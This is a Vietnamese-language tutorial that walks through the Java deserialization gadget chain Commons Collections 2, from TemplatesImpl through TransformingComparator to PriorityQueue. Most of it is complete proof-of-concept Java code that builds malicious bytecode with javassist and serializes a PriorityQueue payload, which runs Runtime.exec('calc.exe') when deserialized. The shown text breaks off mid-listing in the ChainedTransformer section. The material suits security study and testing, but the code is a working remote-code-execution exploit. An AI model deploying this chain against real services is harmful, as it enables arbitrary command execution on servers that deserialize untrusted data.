Phân tích chuỗi Commons Collections 2

  1. 1. Một vài kiến thức cần nắm
  2. 2. Môi trường
  3. 3. Phân tích
    1. 3.1. newTransformer()
    2. 3.2. defineTransletClasses()
    3. 3.3. getTransletInstance()
      1. 3.3.1. 1. javassist
      2. 3.3.2. 2. Tạo class rồi load trực tiếp
    4. 3.4. Kết hợp với lớp InvokerTransformer
  4. 4. Hoàn thiện chain
    1. 4.1. Set giá trị cho queue
    2. 4.2. Sử dụng ChainedTransformer
  5. 5. Lời kết

Một vài kiến thức cần nắm

Trước khi vào bài viết chúng ta cần nắm một số kiến thức sau:

  • javassist
  • Hiểu được ChainedTransformer ở CC1, nếu các bạn chưa biết thì tìm đọc lại bài CC1-TransformedMap của mình nhé.

Môi trường

  • JDK8u65
  • Commons-Collections 4.0
    Thêm Commons-Collections 4.0 vào project bằng dependencies:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
    </dependency>
    <dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
    </dependency>
    </dependencies>

Phân tích

Sơ đồ tóm tắt chuỗi.

Từ TemplateImpl đến OS Command

1
2
3
4
5
6
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
TemplatesImpl.getTransletInstance()->_class[_transletIndex].newInstance()
Runtime.getRuntime().exec("calc.exe")

newTransformer()

Trong lớp TemplateImpl tìm đến phương thức TemplateImpl.newTransformer(). Trong phương thức này nó gọi đến TemplateImpl.getTranslateInstance(). Đi đến phương thức này.

Trong phương thức này, chúng ta cần quan tâm đến phương thức TemplateImpl.defineTransletClasses().

Nếu _name không null và _class null thì nó sẽ gọi đến TemplateImpl.defineTransletClasses(). Hai biến này hiện tại mình vẫn chưa rõ là gì bởi chưa rõ lớp TemplateImpl, cứ tiếp tục thôi.

defineTransletClasses()

Đi đến phương thức TemplateImpl.defineTransletClasses().

Đầu tiên để đi tiếp, chúng ta cần _bytecodes khác null.

Trong phương thức này nó thực hiện tạo một TransletClassLoader, TransletClassLoader là một lớp con static của lớp TemplateImpl, và nó implement lớp Classloader.

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

loader này thực hiện _class[i] = loader.defineClass(_bytecodes[i]), hàm này sẽ thực hiện phương thức defineClass của lớp ClassLoader ClassLoader.defineClass(null, b, 0, b.length)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}

Mã nguồn của nó hơi khó hiểu nên mình đọc doc để biết nhanh chức năng của phương thức defineClass.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
defineClass
@Deprecated
protected final Class<?> defineClass(byte[] b,
int off,
int len)
throws ClassFormatError
Deprecated. Replaced by defineClass(String, byte[], int, int)
Converts an array of bytes into an instance of class Class. Before the Class can be used it must be resolved. This method is deprecated in favor of the version that takes a binary name as its first argument, and is more secure.
Parameters:
b - The bytes that make up the class data. The bytes in positions off through off+len-1 should have the format of a valid class file as defined by The Java™ Virtual Machine Specification.
off - The start offset in b of the class data
len - The length of the class data
Returns:
The Class object that was created from the specified class data
Throws:
ClassFormatError - If the data did not contain a valid class
IndexOutOfBoundsException - If either off or len is negative, or if off+len is greater than b.length.
SecurityException - If an attempt is made to add this class to a package that contains classes that were signed by a different set of certificates than this class, or if an attempt is made to define a class in a package with a fully-qualified name that starts with "java.".

Phương thức này thực hiện chuyển đổi một mảng byte thành một instance của class Class hay nói rõ hơn thì nó tạo ra một object của lớp Class, các bạn có thể đọc ở đây.

Lớp được tạo ra từ _bytecodes[i] gọi đến getSuperClass trả về một super class và lưu vào biến superClass, tên của superClass sẽ được so sánh với “com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”.

1
2
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

Nếu như lớp cha của _class[i] là AbstractTranslet (Hay _Class[i] là class extends AbstractTranslet) thì _transletIndex sẽ được gán bằng i.

Nói chung, sau phương thức defineTransletClasses(), ta có được vị trị của class extends AbstractTranslet_transletIndex.

_class[_transletIndex] sẽ là lớp chuyển từ _bytecodes và extends AbstractTranslet.

getTransletInstance()

Tiếp tục follow theo chain, đi đến phương thức getTransletInstance.

Nó thực hiện _class[_transletIndex].newInstance(). Điểm hay là ở chổ này, khi một class được khởi tạo (Class.newInstance()) thì nó sẽ tự động thực thi constructor hoặc hàm static.

Cái này thuộc về kiến thức OOP, mình sẽ nói kĩ hơn như sau:

  • Khi tạo một instance của Class bằng phương thức newInstance, nó sẽ bao gồm hai bước:
    Load class: Khi một class được load lên bộ nhớ, các block static sẽ được thực thi. Các bạn chỉ cần hiểu vậy là đủ, còn nếu muốn hiểu sâu hơn thì tìm hiểu về ClassLoader (tốn thời gian lắm nhé!).
    Tạo object: Sau khi class được load lên, constructor sẽ được thực thi để khởi tạo một đối tượng.

Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;

public class App {

public static void main(String args[]) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
ctClass.writeFile("/Users/rayin_awarf/Desktop");//Viết class Test xuống thư mục này
File f = new File("/Users/rayin_awarf/Desktop");
URL[] cp = {f.toURI().toURL()};
URLClassLoader urlcl = new URLClassLoader(cp);
Class clazz = urlcl.loadClass("Test");
//Đoạn trên là lấy class Test ra, không quan trọng lắm. Nếu các bạn có cách hay hơn thì có thể sử dụng.
Object obj = clazz.newInstance();
//Sau khi thực hiện newInstance() calc.exe đã được thực thi.
}
}

Như đã phân tích ở trước _class[_transletIndex] là lớp chuyển từ _bytecodes, vậy nếu bytecodes chúng ta truyền vào này là của một class chứa static hay constructor chứa shell thì chúng ta sẽ trigger được nó.
Có hai cách để làm điều này:

1. javassist

  • Phương thức makeClassInitializer sẽ tạo một constructor.
  • makeClassInitializer().setBody sẽ set nội dung cho hàm constructor này.
    Test thử với POC nhỏ sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import java.lang.reflect.*;

public class cc2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
templates.newTransformer();
}
}

calc.exe vẫn chưa được kích hoạt, ở đây là do _tfactory chưa được set. _tfactory ở đây là một TransformerFactoryImpl nên chúng ta chỉ cần đặt là new TransformerFactoryImpl().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.*;

public class cc2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();
}
}

Máy tính đã được bật.

2. Tạo class rồi load trực tiếp

Khởi tạo class, ở đây mình lấy static để làm ví dụ (cái nào cũng được).
Đặt file Calc.java cùng thư mục với cc2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test1 {
public static void main(String[] args) throws Exception{
byte[] shellClass = Files.readAllBytes(Paths.get("C:\\Users\\rayin_awarf\\Desktop\\work\\java\\cc2\\target\\classes\\org\\example\\Calc.class"));
byte[][] bytes = {shellClass};
TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, bytes);
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();
}
}

Ok, hướng đi là như thế, bây giờ chúng ta sẽ lợi dụng điều này vào class TemplatesImpl.

  • _name không null
  • _class null
  • _bytecodes là bytecodes của lớp cần truyền vào.

Kết hợp với lớp InvokerTransformer

Ở cc1 theo TransformedMap, mình đã phân tích về lớp này. Mình sẽ tóm gọn lại như sau:

  • Phương thức transform của lớp này sẽ thực thi phương thức mà ta truyền vào ở invokerTransformer của object truyền vào hàm transform.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.*;

public class cc2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
invokerTransformer.transform(templates);
}
}

Ctrl + chuột trái nhấn vào phương thức transform của lớp InvokerTransformer để tìm lớp sử dụng phương thức này, lớp TransformingComparator là lớp chúng ta cần chú ý đến.

Lớp này có phương thức compare sử dụng transformer.transform().

Phân tích một chút, hàm tạo của lớp này lấy một Transformer gán vào biến transformer, ở đây chúng ta có thể thay bằng InvokerTransformer. Hàm compare sẽ thực thi transform cho object truyền vào nó với Transformer được truyền từ hàm tạo. Từ đây chúng ta có đoạn code ngắn sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.*;

public class cc2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
//invokerTransformer.transform(templates);
TransformingComparator transformingComparator = new TransformingComparator( invokerTransformer);
transformingComparator.compare(templates, null);
}
}

Tiếp theo chúng ta cần lớp gọi đến TransformingComparator.compare.

Đi đến phương thức siftDownUsingComparator của lớp PriorityQueue. Phương thức này sử dụng comparator.compare với comparator là một instance của interface Comparator, do đó nó có thể làm biến chứa cho các lớp implements interface Comparator, từ đây chúng ta có thể thay biến comparator bằng một TransformingComparator.

siftDownUsingComparator là một phương thức private nên chúng ta cần tìm phương thức gọi đến nó. Mò từ từ ta thấy được: readObject-->heapify-->siftDown-->sifDownUsingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

Hàm heapify loop hết các phần tử trong queue để siftDown(i, (E) queue[i]), ctr + chuột trái tiếp vào hàm heapify. Mảng queue được set ở hàm readObject rồi thực hiện heapify().

1
2
3
4
5
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

queue ở đây chỉ là đọc từ đối tượng mình serialize. Sau khi đọc dữ liệu gán vào queue, nó thực hiện heapify.
Quá thuận lợi, bây giờ chỉ còn bước còn lại để xây dựng POC.

Ta có hai phương án để thực hiện:

  • Sử dụng ChainedTransformer để tự động thực hiện mà không cần thông qua queue
  • Set giá trị cho queue

Hoàn thiện chain

Set giá trị cho queue

Để set giá trị cho queue, chúng ta sẽ sử dụng hàm PriorityQueue.add().
Xem rõ phương thức này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
//invokerTransformer.transform(templates);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
//transformingComparator.compare(null, null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

serialize(priorityQueue);
//unserialize("ser.bin");
}
}

Tuy nhiên như này thì nó đã chạy câu lệnh trước khi chúng ta thực hiện unserialize. Set breakpoint ở hàm add để xem lý do.

Ta thấy ở lần add thứ 2, phương thức add gọi đến offer –> siftUp –> siftUpUsingComparator –> Comparator.compare.

Để không thực hiện cái này, ở hàm siftUp nó check Comparator nếu Comparator bằng null thì nó sẽ không thực hiện Comparator.compare. Do đó chúng có thể thực hiện set Comparator sau add giá trị vào priorityQueue.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
//invokerTransformer.transform(templates);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
//transformingComparator.compare(null, null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
Field field = priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, null);
priorityQueue.add(templates);

serialize(priorityQueue);
//unserialize("ser.bin");
}
}

Tuy nhiên nếu không set comparator khi gọi đến siftUpComparable nó sẽ xuất hiện lỗi com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.Comparable. Do đó chúng ta phải nghĩ cách khác.

Add trước rồi set sau, ta có full change:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
//invokerTransformer.transform(templates);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
//transformingComparator.compare(null, null);
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(0);
priorityQueue.add(1);
// priorityQueue.add(templates);

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);

Field queue=priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates,templates});
//Sau khi set, queue[0], queue[1] trở thành TemplateImpl

serialize(priorityQueue);
unserialize("ser.bin");
}
}

Sử dụng ChainedTransformer

Về ChainedTransformer mình đã giải thích ở CC1-TransformedMap, các bạn có thể xem lại ở bài viết đó.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.*;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
ChainedTransformer chainedTransformer = new ChainedTransformer<>(
new ConstantTransformer<>(templates),
invokerTransformer
);
//invokerTransformer.transform(templates);
TransformingComparator transformingComparator = new TransformingComparator( chainedTransformer);
transformingComparator.compare(null, null);
}
}

Tuy nhiên, chúng ta gặp một vấn đề là máy tính được bật lên trước khi serialize object, dẫn đến việc dừng chương trình như đoạn mã dưới đây.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Test");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field _nameField = templates.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "notNull");
Field _classField = templates.getClass().getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates, null);
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, new byte[][]{bytes});
Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
